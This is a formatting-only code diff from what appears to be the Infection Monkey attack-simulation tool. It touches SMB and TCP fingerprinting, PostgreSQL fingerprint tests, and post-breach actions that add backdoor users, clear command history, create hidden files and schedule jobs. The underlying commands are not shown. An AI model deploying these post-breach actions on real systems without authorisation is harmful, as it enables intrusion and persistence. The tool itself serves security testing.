b"\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00",
|
b"\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00",
|
||||||
),
|
),
|
||||||
("separator4", b"\x02"),
|
("separator4", b"\x02"),
|
||||||
("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||||
("separator5", b"\x02"),
|
("separator5", b"\x02"),
|
||||||
("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||||
("separator6", b"\x02"),
|
("separator6", b"\x02"),
|
||||||
("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class SMBSessionFingerData(Packet):
|
class SMBSessionFingerData(Packet):
|
||||||
fields = odict(
|
fields = odict(
|
||||||
[
|
[
|
||||||
("wordcount", b"\x0c"),
|
("wordcount", b"\x0c"),
|
||||||
("AndXCommand", b"\xff"),
|
("AndXCommand", b"\xff"),
|
||||||
("reserved", b"\x00"),
|
("reserved", b"\x00"),
|
||||||
("andxoffset", b"\x00\x00"),
|
("andxoffset", b"\x00\x00"),
|
||||||
("maxbuff", b"\x04\x11"),
|
("maxbuff", b"\x04\x11"),
|
||||||
("maxmpx", b"\x32\x00"),
|
("maxmpx", b"\x32\x00"),
|
||||||
("vcnum", b"\x00\x00"),
|
("vcnum", b"\x00\x00"),
|
||||||
("sessionkey", b"\x00\x00\x00\x00"),
|
("sessionkey", b"\x00\x00\x00\x00"),
|
||||||
("securitybloblength", b"\x4a\x00"),
|
("securitybloblength", b"\x4a\x00"),
|
||||||
("reserved2", b"\x00\x00\x00\x00"),
|
("reserved2", b"\x00\x00\x00\x00"),
|
||||||
("capabilities", b"\xd4\x00\x00\xa0"),
|
("capabilities", b"\xd4\x00\x00\xa0"),
|
||||||
("bcc1", ""),
|
("bcc1", ""),
|
||||||
(
|
(
|
||||||
"Data",
|
"Data",
|
||||||
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c"
|
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c"
|
||||||
b"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
|
b"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
|
||||||
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00"
|
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00"
|
||||||
b"\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
|
b"\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
|
||||||
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f"
|
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f"
|
||||||
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
|
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
|
||||||
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53"
|
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53"
|
||||||
b"\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
|
b"\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
|
||||||
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20"
|
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20"
|
||||||
b"\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
|
b"\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
|
||||||
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
|
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
|
||||||
b"\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
|
b"\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
|
||||||
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00",
|
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00",
|
||||||
),
|
),
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
@ -167,10 +167,10 @@ class SMBFinger(HostFinger):
|
||||||
if data[8:10] == b"\x73\x16":
|
if data[8:10] == b"\x73\x16":
|
||||||
length = struct.unpack("<H", data[43:45])[0]
|
length = struct.unpack("<H", data[43:45])[0]
|
||||||
os_version, service_client = tuple(
|
os_version, service_client = tuple(
|
||||||
[
|
[
|
||||||
e.replace(b"\x00", b"").decode()
|
e.replace(b"\x00", b"").decode()
|
||||||
for e in data[47 + length:].split(b"\x00\x00\x00")[:2]
|
for e in data[47 + length :].split(b"\x00\x00\x00")[:2]
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
if os_version.lower() != "unix":
|
if os_version.lower() != "unix":
|
||||||
|
|
|
@ -35,10 +35,10 @@ class TcpScanner(HostScanner, HostFinger):
|
||||||
shuffle(target_ports)
|
shuffle(target_ports)
|
||||||
|
|
||||||
ports, banners = check_tcp_ports(
|
ports, banners = check_tcp_ports(
|
||||||
host.ip_addr,
|
host.ip_addr,
|
||||||
target_ports,
|
target_ports,
|
||||||
self._config.tcp_scan_timeout / 1000.0,
|
self._config.tcp_scan_timeout / 1000.0,
|
||||||
self._config.tcp_scan_get_banner,
|
self._config.tcp_scan_get_banner,
|
||||||
)
|
)
|
||||||
for target_port, banner in zip_longest(ports, banners, fillvalue=None):
|
for target_port, banner in zip_longest(ports, banners, fillvalue=None):
|
||||||
service = tcp_port_to_service(target_port)
|
service = tcp_port_to_service(target_port)
|
||||||
|
|
|
@ -5,85 +5,85 @@ from infection_monkey.network.postgresql_finger import PostgreSQLFinger
|
||||||
IRRELEVANT_EXCEPTION_STRING = "This is an irrelevant exception string."
|
IRRELEVANT_EXCEPTION_STRING = "This is an irrelevant exception string."
|
||||||
|
|
||||||
_RELEVANT_EXCEPTION_STRING_PARTS = {
|
_RELEVANT_EXCEPTION_STRING_PARTS = {
|
||||||
"pwd_auth_failed":'FATAL: password authentication failed for user "root"',
|
"pwd_auth_failed": 'FATAL: password authentication failed for user "root"',
|
||||||
"ssl_on_entry_not_found":'FATAL: no pg_hba.conf entry for host "127.0.0.1",'
|
"ssl_on_entry_not_found": 'FATAL: no pg_hba.conf entry for host "127.0.0.1",'
|
||||||
'user "random", database "postgres", SSL on',
|
'user "random", database "postgres", SSL on',
|
||||||
"ssl_off_entry_not_found":'FATAL: no pg_hba.conf entry for host "127.0.0.1",'
|
"ssl_off_entry_not_found": 'FATAL: no pg_hba.conf entry for host "127.0.0.1",'
|
||||||
'user "random", database "postgres", SSL off',
|
'user "random", database "postgres", SSL off',
|
||||||
}
|
}
|
||||||
|
|
||||||
_RELEVANT_EXCEPTION_STRINGS = {
|
_RELEVANT_EXCEPTION_STRINGS = {
|
||||||
"pwd_auth_failed":_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
"pwd_auth_failed": _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
||||||
"ssl_off_entry_not_found":_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
|
"ssl_off_entry_not_found": _RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
|
||||||
"pwd_auth_failed_pwd_auth_failed":"\n".join(
|
"pwd_auth_failed_pwd_auth_failed": "\n".join(
|
||||||
[
|
[
|
||||||
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
||||||
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
||||||
]
|
]
|
||||||
),
|
),
|
||||||
"pwd_auth_failed_ssl_off_entry_not_found":"\n".join(
|
"pwd_auth_failed_ssl_off_entry_not_found": "\n".join(
|
||||||
[
|
[
|
||||||
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
||||||
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
|
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
|
||||||
]
|
]
|
||||||
),
|
),
|
||||||
"ssl_on_entry_not_found_pwd_auth_failed":"\n".join(
|
"ssl_on_entry_not_found_pwd_auth_failed": "\n".join(
|
||||||
[
|
[
|
||||||
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"],
|
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"],
|
||||||
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
|
||||||
]
|
]
|
||||||
),
|
),
|
||||||
"ssl_on_entry_not_found_ssl_off_entry_not_found":"\n".join(
|
"ssl_on_entry_not_found_ssl_off_entry_not_found": "\n".join(
|
||||||
[
|
[
|
||||||
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"],
|
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"],
|
||||||
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
|
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
|
||||||
]
|
]
|
||||||
),
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
_RESULT_STRINGS = {
|
_RESULT_STRINGS = {
|
||||||
"ssl_conf":"SSL is configured on the PostgreSQL server.\n",
|
"ssl_conf": "SSL is configured on the PostgreSQL server.\n",
|
||||||
"ssl_not_conf":"SSL is NOT configured on the PostgreSQL server.\n",
|
"ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n",
|
||||||
"all_ssl":"SSL connections can be made by all.\n",
|
"all_ssl": "SSL connections can be made by all.\n",
|
||||||
"all_non_ssl":"Non-SSL connections can be made by all.\n",
|
"all_non_ssl": "Non-SSL connections can be made by all.\n",
|
||||||
"selected_ssl":"SSL connections can be made by selected hosts only OR "
|
"selected_ssl": "SSL connections can be made by selected hosts only OR "
|
||||||
"non-SSL usage is forced.\n",
|
"non-SSL usage is forced.\n",
|
||||||
"selected_non_ssl":"Non-SSL connections can be made by selected hosts only OR "
|
"selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR "
|
||||||
"SSL usage is forced.\n",
|
"SSL usage is forced.\n",
|
||||||
"only_selected":"Only selected hosts can make connections (SSL or non-SSL).\n",
|
"only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n",
|
||||||
}
|
}
|
||||||
|
|
||||||
RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS = {
|
RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS = {
|
||||||
# SSL not configured, all non-SSL allowed
|
# SSL not configured, all non-SSL allowed
|
||||||
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed"]:[
|
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed"]: [
|
||||||
_RESULT_STRINGS["ssl_not_conf"],
|
_RESULT_STRINGS["ssl_not_conf"],
|
||||||
_RESULT_STRINGS["all_non_ssl"],
|
_RESULT_STRINGS["all_non_ssl"],
|
||||||
],
|
],
|
||||||
# SSL not configured, selected non-SSL allowed
|
# SSL not configured, selected non-SSL allowed
|
||||||
_RELEVANT_EXCEPTION_STRINGS["ssl_off_entry_not_found"]:[
|
_RELEVANT_EXCEPTION_STRINGS["ssl_off_entry_not_found"]: [
|
||||||
_RESULT_STRINGS["ssl_not_conf"],
|
_RESULT_STRINGS["ssl_not_conf"],
|
||||||
_RESULT_STRINGS["selected_non_ssl"],
|
_RESULT_STRINGS["selected_non_ssl"],
|
||||||
],
|
],
|
||||||
# all SSL allowed, all non-SSL allowed
|
# all SSL allowed, all non-SSL allowed
|
||||||
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_pwd_auth_failed"]:[
|
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_pwd_auth_failed"]: [
|
||||||
_RESULT_STRINGS["ssl_conf"],
|
_RESULT_STRINGS["ssl_conf"],
|
||||||
_RESULT_STRINGS["all_ssl"],
|
_RESULT_STRINGS["all_ssl"],
|
||||||
_RESULT_STRINGS["all_non_ssl"],
|
_RESULT_STRINGS["all_non_ssl"],
|
||||||
],
|
],
|
||||||
# all SSL allowed, selected non-SSL allowed
|
# all SSL allowed, selected non-SSL allowed
|
||||||
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_ssl_off_entry_not_found"]:[
|
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_ssl_off_entry_not_found"]: [
|
||||||
_RESULT_STRINGS["ssl_conf"],
|
_RESULT_STRINGS["ssl_conf"],
|
||||||
_RESULT_STRINGS["all_ssl"],
|
_RESULT_STRINGS["all_ssl"],
|
||||||
_RESULT_STRINGS["selected_non_ssl"],
|
_RESULT_STRINGS["selected_non_ssl"],
|
||||||
],
|
],
|
||||||
# selected SSL allowed, all non-SSL allowed
|
# selected SSL allowed, all non-SSL allowed
|
||||||
_RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_pwd_auth_failed"]:[
|
_RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_pwd_auth_failed"]: [
|
||||||
_RESULT_STRINGS["ssl_conf"],
|
_RESULT_STRINGS["ssl_conf"],
|
||||||
_RESULT_STRINGS["selected_ssl"],
|
_RESULT_STRINGS["selected_ssl"],
|
||||||
_RESULT_STRINGS["all_non_ssl"],
|
_RESULT_STRINGS["all_non_ssl"],
|
||||||
],
|
],
|
||||||
# selected SSL allowed, selected non-SSL allowed
|
# selected SSL allowed, selected non-SSL allowed
|
||||||
_RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_ssl_off_entry_not_found"]:[
|
_RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_ssl_off_entry_not_found"]: [
|
||||||
_RESULT_STRINGS["ssl_conf"],
|
_RESULT_STRINGS["ssl_conf"],
|
||||||
_RESULT_STRINGS["only_selected"],
|
_RESULT_STRINGS["only_selected"],
|
||||||
],
|
],
|
||||||
|
@ -115,8 +115,8 @@ def test_exception_ssl_not_configured_all_non_ssl_allowed(mock_PostgreSQLFinger,
|
||||||
|
|
||||||
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
||||||
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
||||||
"communication_encryption_details"
|
"communication_encryption_details"
|
||||||
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
||||||
|
|
||||||
|
|
||||||
def test_exception_ssl_not_configured_selected_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
def test_exception_ssl_not_configured_selected_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
||||||
|
@ -125,8 +125,8 @@ def test_exception_ssl_not_configured_selected_non_ssl_allowed(mock_PostgreSQLFi
|
||||||
|
|
||||||
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
||||||
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
||||||
"communication_encryption_details"
|
"communication_encryption_details"
|
||||||
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
||||||
|
|
||||||
|
|
||||||
def test_exception_all_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
def test_exception_all_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
||||||
|
@ -135,8 +135,8 @@ def test_exception_all_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, ho
|
||||||
|
|
||||||
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
||||||
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
||||||
"communication_encryption_details"
|
"communication_encryption_details"
|
||||||
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
||||||
|
|
||||||
|
|
||||||
def test_exception_all_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
def test_exception_all_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
||||||
|
@ -145,8 +145,8 @@ def test_exception_all_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinge
|
||||||
|
|
||||||
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
||||||
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
||||||
"communication_encryption_details"
|
"communication_encryption_details"
|
||||||
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
||||||
|
|
||||||
|
|
||||||
def test_exception_selected_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
def test_exception_selected_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
||||||
|
@ -155,8 +155,8 @@ def test_exception_selected_ssl_allowed_all_non_ssl_allowed(mock_PostgreSQLFinge
|
||||||
|
|
||||||
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
||||||
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
||||||
"communication_encryption_details"
|
"communication_encryption_details"
|
||||||
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
||||||
|
|
||||||
|
|
||||||
def test_exception_selected_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
def test_exception_selected_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQLFinger, host):
|
||||||
|
@ -165,5 +165,5 @@ def test_exception_selected_ssl_allowed_selected_non_ssl_allowed(mock_PostgreSQL
|
||||||
|
|
||||||
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
|
||||||
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
|
||||||
"communication_encryption_details"
|
"communication_encryption_details"
|
||||||
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
|
||||||
|
|
|
@ -157,13 +157,13 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||||
timeout -= SLEEP_BETWEEN_POLL
|
timeout -= SLEEP_BETWEEN_POLL
|
||||||
|
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"On host %s discovered the following ports %s"
|
"On host %s discovered the following ports %s"
|
||||||
% (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets]))
|
% (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets]))
|
||||||
)
|
)
|
||||||
banners = []
|
banners = []
|
||||||
if get_banner and (len(connected_ports_sockets) != 0):
|
if get_banner and (len(connected_ports_sockets) != 0):
|
||||||
readable_sockets, _, _ = select.select(
|
readable_sockets, _, _ = select.select(
|
||||||
[s[1] for s in connected_ports_sockets], [], [], 0
|
[s[1] for s in connected_ports_sockets], [], [], 0
|
||||||
)
|
)
|
||||||
# read first BANNER_READ bytes. We ignore errors because service might not send a
|
# read first BANNER_READ bytes. We ignore errors because service might not send a
|
||||||
# decodable byte string.
|
# decodable byte string.
|
||||||
|
@ -240,7 +240,7 @@ def _parse_traceroute(output, regex, ttl):
|
||||||
|
|
||||||
for i in range(first_line_index, first_line_index + ttl):
|
for i in range(first_line_index, first_line_index + ttl):
|
||||||
if (
|
if (
|
||||||
re.search(r"^\s*" + str(i - first_line_index + 1), ip_lines[i]) is None
|
re.search(r"^\s*" + str(i - first_line_index + 1), ip_lines[i]) is None
|
||||||
): # If trace is finished
|
): # If trace is finished
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -292,7 +292,7 @@ def get_interface_to_target(dst):
|
||||||
ip_to_dst = s.getsockname()[0]
|
ip_to_dst = s.getsockname()[0]
|
||||||
except KeyError:
|
except KeyError:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Couldn't get an interface to the target, presuming that target is localhost."
|
"Couldn't get an interface to the target, presuming that target is localhost."
|
||||||
)
|
)
|
||||||
ip_to_dst = "127.0.0.1"
|
ip_to_dst = "127.0.0.1"
|
||||||
finally:
|
finally:
|
||||||
|
|
|
@ -7,8 +7,8 @@ from infection_monkey.utils.users import get_commands_to_add_user
|
||||||
class BackdoorUser(PBA):
|
class BackdoorUser(PBA):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
linux_cmds, windows_cmds = get_commands_to_add_user(
|
linux_cmds, windows_cmds = get_commands_to_add_user(
|
||||||
WormConfiguration.user_to_add, WormConfiguration.remote_user_pass
|
WormConfiguration.user_to_add, WormConfiguration.remote_user_pass
|
||||||
)
|
)
|
||||||
super(BackdoorUser, self).__init__(
|
super(BackdoorUser, self).__init__(
|
||||||
POST_BREACH_BACKDOOR_USER, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds
|
POST_BREACH_BACKDOOR_USER, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds
|
||||||
)
|
)
|
||||||
|
|
|
@ -9,5 +9,5 @@ class ChangeSetuidSetgid(PBA):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
linux_cmds = get_commands_to_change_setuid_setgid()
|
linux_cmds = get_commands_to_change_setuid_setgid()
|
||||||
super(ChangeSetuidSetgid, self).__init__(
|
super(ChangeSetuidSetgid, self).__init__(
|
||||||
POST_BREACH_SETUID_SETGID, linux_cmd=" ".join(linux_cmds)
|
POST_BREACH_SETUID_SETGID, linux_cmd=" ".join(linux_cmds)
|
||||||
)
|
)
|
||||||
|
|
|
@ -47,7 +47,7 @@ class ClearCommandHistory(PBA):
|
||||||
if self.command:
|
if self.command:
|
||||||
try:
|
try:
|
||||||
output = subprocess.check_output(
|
output = subprocess.check_output(
|
||||||
self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116
|
self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116
|
||||||
).decode()
|
).decode()
|
||||||
return output, True
|
return output, True
|
||||||
except subprocess.CalledProcessError as e:
|
except subprocess.CalledProcessError as e:
|
||||||
|
|
|
@ -40,7 +40,7 @@ class CommunicateAsNewUser(PBA):
|
||||||
try:
|
try:
|
||||||
with create_auto_new_user(username, PASSWORD) as new_user:
|
with create_auto_new_user(username, PASSWORD) as new_user:
|
||||||
http_request_commandline = CommunicateAsNewUser.get_commandline_for_http_request(
|
http_request_commandline = CommunicateAsNewUser.get_commandline_for_http_request(
|
||||||
INFECTION_MONKEY_WEBSITE_URL
|
INFECTION_MONKEY_WEBSITE_URL
|
||||||
)
|
)
|
||||||
exit_status = new_user.run_as(http_request_commandline)
|
exit_status = new_user.run_as(http_request_commandline)
|
||||||
self.send_result_telemetry(exit_status, http_request_commandline, username)
|
self.send_result_telemetry(exit_status, http_request_commandline, username)
|
||||||
|
@ -52,7 +52,7 @@ class CommunicateAsNewUser(PBA):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_random_new_user_name():
|
def get_random_new_user_name():
|
||||||
return USERNAME_PREFIX + "".join(
|
return USERNAME_PREFIX + "".join(
|
||||||
random.choice(string.ascii_lowercase) for _ in range(5)
|
random.choice(string.ascii_lowercase) for _ in range(5)
|
||||||
) # noqa: DUO102
|
) # noqa: DUO102
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -81,18 +81,17 @@ class CommunicateAsNewUser(PBA):
|
||||||
"""
|
"""
|
||||||
if exit_status == 0:
|
if exit_status == 0:
|
||||||
PostBreachTelem(
|
PostBreachTelem(
|
||||||
self,
|
self, (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True)
|
||||||
(CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True)
|
|
||||||
).send()
|
).send()
|
||||||
else:
|
else:
|
||||||
PostBreachTelem(
|
PostBreachTelem(
|
||||||
self,
|
self,
|
||||||
(
|
(
|
||||||
CREATED_PROCESS_AS_USER_FAILED_FORMAT.format(
|
CREATED_PROCESS_AS_USER_FAILED_FORMAT.format(
|
||||||
commandline, username, exit_status, twos_complement(exit_status)
|
commandline, username, exit_status, twos_complement(exit_status)
|
||||||
),
|
|
||||||
False,
|
|
||||||
),
|
),
|
||||||
|
False,
|
||||||
|
),
|
||||||
).send()
|
).send()
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -9,6 +9,5 @@ class AccountDiscovery(PBA):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
linux_cmds, windows_cmds = get_commands_to_discover_accounts()
|
linux_cmds, windows_cmds = get_commands_to_discover_accounts()
|
||||||
super().__init__(
|
super().__init__(
|
||||||
POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=" ".join(linux_cmds),
|
POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds
|
||||||
windows_cmd=windows_cmds
|
|
||||||
)
|
)
|
||||||
|
|
|
@ -25,9 +25,9 @@ class HiddenFiles(PBA):
|
||||||
for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS:
|
for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS:
|
||||||
linux_cmds, windows_cmds = function_to_get_commands()
|
linux_cmds, windows_cmds = function_to_get_commands()
|
||||||
super(HiddenFiles, self).__init__(
|
super(HiddenFiles, self).__init__(
|
||||||
name=POST_BREACH_HIDDEN_FILES,
|
name=POST_BREACH_HIDDEN_FILES,
|
||||||
linux_cmd=" ".join(linux_cmds),
|
linux_cmd=" ".join(linux_cmds),
|
||||||
windows_cmd=windows_cmds,
|
windows_cmd=windows_cmds,
|
||||||
)
|
)
|
||||||
super(HiddenFiles, self).run()
|
super(HiddenFiles, self).run()
|
||||||
if is_windows_os(): # use winAPI
|
if is_windows_os(): # use winAPI
|
||||||
|
|
|
@ -50,16 +50,16 @@ class ModifyShellStartupFiles(PBA):
|
||||||
class ModifyShellStartupFile(PBA):
|
class ModifyShellStartupFile(PBA):
|
||||||
def __init__(self, linux_cmds, windows_cmds):
|
def __init__(self, linux_cmds, windows_cmds):
|
||||||
super().__init__(
|
super().__init__(
|
||||||
name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION,
|
name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION,
|
||||||
linux_cmd=linux_cmds,
|
linux_cmd=linux_cmds,
|
||||||
windows_cmd=windows_cmds,
|
windows_cmd=windows_cmds,
|
||||||
)
|
)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
if self.command:
|
if self.command:
|
||||||
try:
|
try:
|
||||||
output = subprocess.check_output(
|
output = subprocess.check_output(
|
||||||
self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116
|
self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116
|
||||||
).decode()
|
).decode()
|
||||||
return output, True
|
return output, True
|
||||||
except subprocess.CalledProcessError as e:
|
except subprocess.CalledProcessError as e:
|
||||||
|
|
|
@ -15,9 +15,9 @@ class ScheduleJobs(PBA):
|
||||||
linux_cmds, windows_cmds = get_commands_to_schedule_jobs()
|
linux_cmds, windows_cmds = get_commands_to_schedule_jobs()
|
||||||
|
|
||||||
super(ScheduleJobs, self).__init__(
|
super(ScheduleJobs, self).__init__(
|
||||||
name=POST_BREACH_JOB_SCHEDULING,
|
name=POST_BREACH_JOB_SCHEDULING,
|
||||||
linux_cmd=" ".join(linux_cmds),
|
